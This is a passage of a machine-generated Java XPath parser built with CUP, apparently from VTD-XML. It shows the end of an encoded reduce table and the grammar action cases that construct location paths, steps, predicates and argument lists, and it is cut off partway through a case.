"\001\000\002\001\001\000\002\001\001\000\066\003\007" + + "\004\024\005\101\006\013\007\014\010\010\011\004\012" + + "\021\013\045\014\022\015\030\016\033\017\032\020\043" + + "\021\103\022\027\023\100\024\026\025\011\026\012\030" + + "\025\031\040\032\046\033\017\034\006\035\037\001\001" + + "\000\002\001\001\000\002\001\001\000\046\003\007\004" + + "\024\013\110\014\022\015\030\016\033\017\032\020\043" + + "\022\027\024\026\025\011\026\012\030\025\031\040\032" + + "\046\033\017\034\006\035\037\001\001\000\046\003\007" + + "\004\024\013\107\014\022\015\030\016\033\017\032\020" + + "\043\022\027\024\026\025\011\026\012\030\025\031\040" + + "\032\046\033\017\034\006\035\037\001\001\000\002\001" + + "\001\000\002\001\001\000\002\001\001\000\002\001\001" + + "\000\052\003\007\004\024\011\126\012\021\013\045\014" + + "\022\015\030\016\033\017\032\020\043\022\027\024\026" + + "\025\011\026\012\030\025\031\040\032\046\033\017\034" + + "\006\035\037\001\001\000\052\003\007\004\024\011\115" + + "\012\021\013\045\014\022\015\030\016\033\017\032\020" + + "\043\022\027\024\026\025\011\026\012\030\025\031\040" + + "\032\046\033\017\034\006\035\037\001\001\000\002\001" + + "\001\000\050\003\007\004\024\012\125\013\045\014\022" + + "\015\030\016\033\017\032\020\043\022\027\024\026\025" + + "\011\026\012\030\025\031\040\032\046\033\017\034\006" + + "\035\037\001\001\000\050\003\007\004\024\012\124\013" + + "\045\014\022\015\030\016\033\017\032\020\043\022\027" + + "\024\026\025\011\026\012\030\025\031\040\032\046\033" + + "\017\034\006\035\037\001\001\000\050\003\007\004\024" + + "\012\123\013\045\014\022\015\030\016\033\017\032\020" + + "\043\022\027\024\026\025\011\026\012\030\025\031\040" + + "\032\046\033\017\034\006\035\037\001\001\000\050\003" + + "\007\004\024\012\122\013\045\014\022\015\030\016\033" + + "\017\032\020\043\022\027\024\026\025\011\026\012\030" + + "\025\031\040\032\046\033\017\034\006\035\037\001\001" + + "\000\002\001\001\000\002\001\001\000\002\001\001\000" + + "\002\001\001\000\002\001\001\000\056\003\007\004\024" + + "\007\014\010\130\011\004\012\021\013\045\014\022\015" + + "\030\016\033\017\032\020\043\022\027\024\026\025\011" + + "\026\012\030\025\031\040\032\046\033\017\034\006\035" + + "\037\001\001\000\002\001\001\000\054\003\007\004\024" + + "\007\132\011\004\012\021\013\045\014\022\015\030\016" + + "\033\017\032\020\043\022\027\024\026\025\011\026\012" + + "\030\025\031\040\032\046\033\017\034\006\035\037\001" + + "\001\000\002\001\001\000\002\001\001\000\006\036\136" + + "\037\137\001\001\000\002\001\001\000\006\036\136\037" + + "\140\001\001\000\002\001\001\000\002\001\001\000\002" + + "\001\001\000\002\001\001" }); + + /** Access to reduce_goto table. */ + public short[][] reduce_table() {return _reduce_table;} + + /** Instance of action encapsulation class. */ + protected CUP$parser$actions action_obj; + + /** Action encapsulation object initializer. */ + protected void init_actions() + { + action_obj = new CUP$parser$actions(this); + } + + /** Invoke a user supplied parse action. */ + public java_cup.runtime.Symbol do_action( + int act_num, + java_cup.runtime.lr_parser parser, + java.util.Stack stack, + int top) + throws java.lang.Exception + { + /* call code in generated class */ + return action_obj.CUP$parser$do_action(act_num, parser, stack, top); + } + + /** Indicates start state. */ + public int start_state() {return 0;} + /** Indicates start production. */ + public int start_production() {return 1;} + + /** EOF Symbol index. */ + public int EOF_sym() {return 0;} + + /** error Symbol index. */ + public int error_sym() {return 1;} + + + + public Hashtable nsHash; + public Hashtable symbolHash; + Step tempStep; + NodeTest tempNt; + LocationPathExpr tempLPExpr; + //ExprList tmpEL1, tmpEL2; + + public parser (java.io.Reader input) { + super(new Yylex(input)); + nsHash = null; + } + + public parser (java.io.InputStream input) { + super(new Yylex(input)); + } + + public static void main(String args[]){ + try { + parser p = new parser(System.in); + Object result = p.parse().value; + //System.out.println(((Expr)result).evalNumber(null)); + //System.out.println(((Expr)result)); + } + catch (Exception e) { + System.out.println("caught: "+e); + } + } + + public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseException{ + throw new XPathParseException("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseException{ + Yylex scanner = (Yylex)getScanner(); + throw new XPathParseException("XPath Syntax error: "+cur_token, scanner.getOffset()); + } + +} + +/** Cup generated class to encapsulate user supplied action code.*/ +class CUP$parser$actions { + private final parser parser; + + /** Constructor */ + CUP$parser$actions(parser parser) { + this.parser = parser; + } + + /** Method with the actual generated action code. */ + public final java_cup.runtime.Symbol CUP$parser$do_action( + int CUP$parser$act_num, + java_cup.runtime.lr_parser CUP$parser$parser, + java.util.Stack CUP$parser$stack, + int CUP$parser$top) + throws java.lang.Exception + { + /* Symbol object for return from actions */ + java_cup.runtime.Symbol CUP$parser$result; + + /* select the action based on the action number */ + switch (CUP$parser$act_num) + { + /*. . . . . . . . . . . . . . . . . . . .*/ + case 65: // FunctionName ::= FNAME + { + FuncName RESULT = null; + int fnleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int fnright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + FuncName fn = (FuncName)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = fn; + CUP$parser$result = new java_cup.runtime.Symbol(2/*FunctionName*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 64: // VariableReference ::= DOLLAR NAME + { + Expr RESULT = null; + int nleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int nright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + NameType n = (NameType)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + if (parser.symbolHash.get(n.qname)==null) + throw new XPathParseException("variableExpression not declared ==> $"+n.qname); + RESULT = new VariableExpr(n.qname, (Expr)parser.symbolHash.get(n.qname)); + + CUP$parser$result = new java_cup.runtime.Symbol(13/*VariableReference*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 63: // Predicate ::= LB Expr RB + { + Predicate RESULT = null; + int eleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int eright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Expr e = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + RESULT = new Predicate(); + if (e.isFinal() && e.isNumerical()){ + RESULT.d = e.evalNumber((VTDNav)null); + Yylex scanner = (Yylex)parser.getScanner(); + if(RESULT.d<1) + throw new XPathParseException("invalid index number for predicate", + scanner.getOffset()); + RESULT.type = Predicate.simple; + } + RESULT.expr= e; + RESULT.requireContext = e.requireContextSize(); + //e.markCacheable(); + + CUP$parser$result = new java_cup.runtime.Symbol(28/*Predicate*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 62: // AbbreviatedRelativeLocationPath ::= Step DSLASH RelativeLocationPath + { + Step RESULT = null; + int sleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int sright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Step s = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + s.setNextStep(RESULT); + RESULT.setPrevStep(s); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + RESULT = s; + + CUP$parser$result = new java_cup.runtime.Symbol(27/*AbbreviatedRelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 61: // AbbreviatedAbsoluteLocationPath ::= DSLASH RelativeLocationPath + { + Step RESULT = null; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + + RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + + CUP$parser$result = new java_cup.runtime.Symbol(26/*AbbreviatedAbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 60: // AbbreviatedStep ::= DDOT + { + Step RESULT = null; + RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.PARENT); + RESULT.setNodeTest(parser.tempNt); + // System.out.println("result " + RESULT.toString()); + + CUP$parser$result = new java_cup.runtime.Symbol(23/*AbbreviatedStep*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 59: // AbbreviatedStep ::= DOT + { + Step RESULT = null; + RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.SELF); + RESULT.setNodeTest(parser.tempNt); + + CUP$parser$result = new java_cup.runtime.Symbol(23/*AbbreviatedStep*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 58: // AbbreviatedAxisSpecifier ::= AT + { + AxisType RESULT = null; + RESULT = new AxisType(); RESULT.i = AxisType.ATTRIBUTE; + CUP$parser$result = new java_cup.runtime.Symbol(20/*AbbreviatedAxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 57: // AbbreviatedAxisSpecifier ::= + { + AxisType RESULT = null; + RESULT = new AxisType(); RESULT.i = AxisType.CHILD; + CUP$parser$result = new java_cup.runtime.Symbol(20/*AbbreviatedAxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 56: // AxisSpecifier ::= AbbreviatedAxisSpecifier + { + AxisType RESULT = null; + int aasleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aasright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + AxisType aas = (AxisType)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = aas; + CUP$parser$result = new java_cup.runtime.Symbol(19/*AxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 55: // AxisSpecifier ::= AXISNAME + { + AxisType RESULT = null; + int anleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int anright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + AxisType an = (AxisType)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = an; + CUP$parser$result = new java_cup.runtime.Symbol(19/*AxisSpecifier*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 54: // PredicateList ::= Predicate PredicateList + { + Predicate RESULT = null; + int pleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int pright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Predicate p = (Predicate)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + int plleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int plright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Predicate pl = (Predicate)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + p.nextP = pl; + RESULT = p; + + CUP$parser$result = new java_cup.runtime.Symbol(29/*PredicateList*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 53: // PredicateList ::= + { + Predicate RESULT = null; + RESULT = null; + + CUP$parser$result = new java_cup.runtime.Symbol(29/*PredicateList*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 52: // nodetest ::= NTEST + { + NodeTest RESULT = null; + int n2left = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int n2right = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Ntest n2 = (Ntest)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new NodeTest(); + if (n2.i!=3) + RESULT.setTestType(n2.i); + else { + if (n2.arg ==null) + RESULT.setTestType(n2.i); //PI0 + else { + RESULT.setTestType(4); //PI1 + RESULT.setNodeName(n2.arg); + } + } + + CUP$parser$result = new java_cup.runtime.Symbol(21/*nodetest*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 51: // nodetest ::= NAME + { + NodeTest RESULT = null; + int nleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int nright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + NameType n = (NameType)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new NodeTest(); + RESULT.setTestType(NodeTest.NAMETEST); + RESULT.setNodeName(n.qname); + if (n.localname!=null){ + RESULT.setNodeNameNS(n.prefix,n.localname); + if (parser.nsHash==null || parser.nsHash.get(n.prefix) ==null) + throw new XPathParseException("No URL found for prefix:"+n.prefix); + RESULT.URL = (String) parser.nsHash.get(n.prefix); + } + + CUP$parser$result = new java_cup.runtime.Symbol(21/*nodetest*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 50: // Step ::= AbbreviatedStep + { + Step RESULT = null; + int absleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int absright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step abs = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = abs; + //System.out.println(" step 4"); + + CUP$parser$result = new java_cup.runtime.Symbol(22/*Step*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 49: // Step ::= AxisSpecifier nodetest PredicateList + { + Step RESULT = null; + int asleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int asright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + AxisType as = (AxisType)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int ntleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int ntright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + NodeTest nt = (NodeTest)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + int plleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int plright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Predicate pl = (Predicate)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new Step(); + RESULT.setAxisType(as.i); + if ( (as.i== AxisType.ATTRIBUTE + || as.i == AxisType.NAMESPACE) && + (nt.testType>1)){ + Yylex scanner = (Yylex)parser.getScanner(); + throw new XPathParseException(as.getAxisString()+" axis can't operate on"+ + " comment(), pi(), or text()", + scanner.getOffset()); + } + RESULT.setNodeTest(nt); + RESULT.setPredicate(pl); + + //System.out.println(" Step 3 "); + + + CUP$parser$result = new java_cup.runtime.Symbol(22/*Step*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 48: // RelativeLocationPath ::= AbbreviatedRelativeLocationPath + { + Step RESULT = null; + int arlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int arlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step arlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = arlp; + CUP$parser$result = new java_cup.runtime.Symbol(24/*RelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 47: // RelativeLocationPath ::= Step SLASH RelativeLocationPath + { + Step RESULT = null; + int sleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int sright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Step s = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + //if (s == rlp) throw new XPathParseException("$1 = $3!!!!"); + s.setNextStep(rlp); + rlp.setPrevStep(s); + RESULT= s; + + CUP$parser$result = new java_cup.runtime.Symbol(24/*RelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 46: // RelativeLocationPath ::= Step + { + Step RESULT = null; + int sleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int sright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step s = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = s; + CUP$parser$result = new java_cup.runtime.Symbol(24/*RelativeLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 45: // AbsoluteLocationPath ::= AbbreviatedAbsoluteLocationPath + { + Step RESULT = null; + int aalpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aalpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step aalp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = aalp; + CUP$parser$result = new java_cup.runtime.Symbol(25/*AbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 44: // AbsoluteLocationPath ::= SLASH RelativeLocationPath + { + Step RESULT = null; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = rlp; + CUP$parser$result = new java_cup.runtime.Symbol(25/*AbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 43: // AbsoluteLocationPath ::= SLASH + { + Step RESULT = null; + RESULT = null; + CUP$parser$result = new java_cup.runtime.Symbol(25/*AbsoluteLocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 42: // LocationPath ::= AbsoluteLocationPath + { + LocationPathExpr RESULT = null; + int alpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int alpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step alp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new LocationPathExpr(); + RESULT.setPathType(LocationPathExpr.ABSOLUTE_PATH); + //System.out.println(" absolute "); + RESULT.setStep(alp); + RESULT.optimize(); + //startStep = currentStep=null; + + CUP$parser$result = new java_cup.runtime.Symbol(18/*LocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 41: // LocationPath ::= RelativeLocationPath + { + LocationPathExpr RESULT = null; + int rlpleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int rlpright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Step rlp = (Step)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new LocationPathExpr(); + RESULT.setStep(rlp); + RESULT.optimize(); + + CUP$parser$result = new java_cup.runtime.Symbol(18/*LocationPath*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 40: // Argument ::= Expr + { + Expr RESULT = null; + int eleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int eright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr e = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = e; + CUP$parser$result = new java_cup.runtime.Symbol(17/*Argument*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 39: // ArgumentList ::= Argument COMMA ArgumentList + { + Alist RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int aright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int alleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int alright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Alist al = (Alist)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new Alist(); + RESULT.e = a; + RESULT.next = al; + + CUP$parser$result = new java_cup.runtime.Symbol(15/*ArgumentList*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 38: // ArgumentList ::= Argument + { + Alist RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new Alist(); + RESULT.e = a; + CUP$parser$result = new java_cup.runtime.Symbol(15/*ArgumentList*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 37: // ArgumentList ::= + { + Alist RESULT = null; + RESULT = null; + CUP$parser$result = new java_cup.runtime.Symbol(15/*ArgumentList*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 36: // FunctionCall ::= FunctionName LP ArgumentList RP + { + FuncExpr RESULT = null; + int fnleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-3)).left; + int fnright = 